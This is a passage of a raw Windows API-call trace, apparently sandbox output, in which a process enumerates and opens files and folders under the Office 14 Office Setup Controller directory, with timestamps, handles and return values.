ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.fr", cAlternateFileName="")) returned 1 [0048.971] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab640f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab8a250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.en-us", cAlternateFileName="")) returned 1 [0048.971] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cd64f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROPLUSR", cAlternateFileName="")) returned 1 [0048.971] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Publisher.en-us", cAlternateFileName="")) returned 1 [0048.971] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cba0700, ftCreationTime.dwHighDateTime=0x1cb7664, ftLastAccessTime.dwLowDateTime=0xd78c2600, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8cba0700, ftLastWriteTime.dwHighDateTime=0x1cb7664, nFileSizeHigh=0x0, nFileSizeLow=0x150378, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.exe", cAlternateFileName="")) returned 1 [0048.971] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.971] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.972] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.972] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.972] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.972] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.972] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50b66320, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50da17c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visio.en-us", cAlternateFileName="")) returned 1 [0048.972] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83258520, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x84c615c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIOR", cAlternateFileName="")) returned 1 [0048.972] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e501370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Word.en-us", cAlternateFileName="")) returned 1 [0048.972] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e501370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Word.en-us", cAlternateFileName="")) returned 0 [0048.972] GetLastError () returned 0x12 [0048.972] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0048.972] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0048.972] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbe974c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe974c00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.972] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17bd2750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Access.en-us", cAlternateFileName="")) returned 1 [0048.972] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e7028 [0048.972] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17bd2750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0048.977] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0048.978] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0048.978] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9ee978 [0048.978] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9ee978, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x9ee978, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0048.978] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ee978) returned 1 [0048.978] NtClose (Handle=0x168) returned 0x0 [0048.978] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e7028) returned 1 [0048.978] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.978] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0048.978] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e7028 [0048.978] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.978] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e7130 [0048.978] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0049.094] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17bd2750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.094] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa5fe940, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x15419830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa5fe940, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x545, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUI.XML", cAlternateFileName="")) returned 1 [0049.094] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0049.094] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0049.094] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0049.094] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0049.094] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0049.094] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e7238 [0049.094] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0049.094] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e5938 [0049.094] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e7340 [0049.094] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0049.094] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUISet.XML", cAlternateFileName="")) returned 1 [0049.094] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0049.094] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0049.094] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0049.094] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0049.095] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0049.095] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e5958 [0049.095] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e7448 [0049.095] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0049.095] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc111bb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0049.095] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0049.095] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0049.095] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0049.095] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0049.095] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0049.095] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e5978 [0049.095] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e7550 [0049.095] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0049.095] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc111bb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0049.095] GetLastError () returned 0x12 [0049.095] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9080 [0049.095] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0049.095] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17bd2750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.095] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa5fe940, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x15419830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa5fe940, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x545, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUI.XML", cAlternateFileName="")) returned 1 [0049.095] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUISet.XML", cAlternateFileName="")) returned 1 [0049.095] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc111bb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0049.095] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc111bb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0049.095] GetLastError () returned 0x12 [0049.095] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e7130) returned 1 [0049.095] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0049.096] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e7238) returned 1 [0049.096] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e7028) returned 1 [0049.096] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Excel.en-us", cAlternateFileName="")) returned 1 [0049.096] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e7028 [0049.096] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0049.110] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0049.111] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0049.111] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9ee978 [0049.111] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9ee978, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x9ee978, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0049.111] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ee978) returned 1 [0049.111] NtClose (Handle=0x164) returned 0x0 [0049.111] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e7028) returned 1 [0049.111] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0049.111] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0049.111] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e7028 [0049.111] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0049.111] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e7238 [0049.111] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9080 [0049.111] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.112] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x61d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMUI.XML", cAlternateFileName="")) returned 1 [0049.112] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0049.112] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0049.112] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0049.112] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0049.112] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0049.112] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e7130 [0049.112] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0049.112] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e5998 [0049.112] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e7658 [0049.112] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0049.112] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0049.112] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0049.112] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0049.112] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0049.112] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0049.112] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0049.112] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e59b8 [0049.112] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e7760 [0049.112] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0049.112] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0049.112] GetLastError () returned 0x12 [0049.112] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0049.112] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0049.112] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", 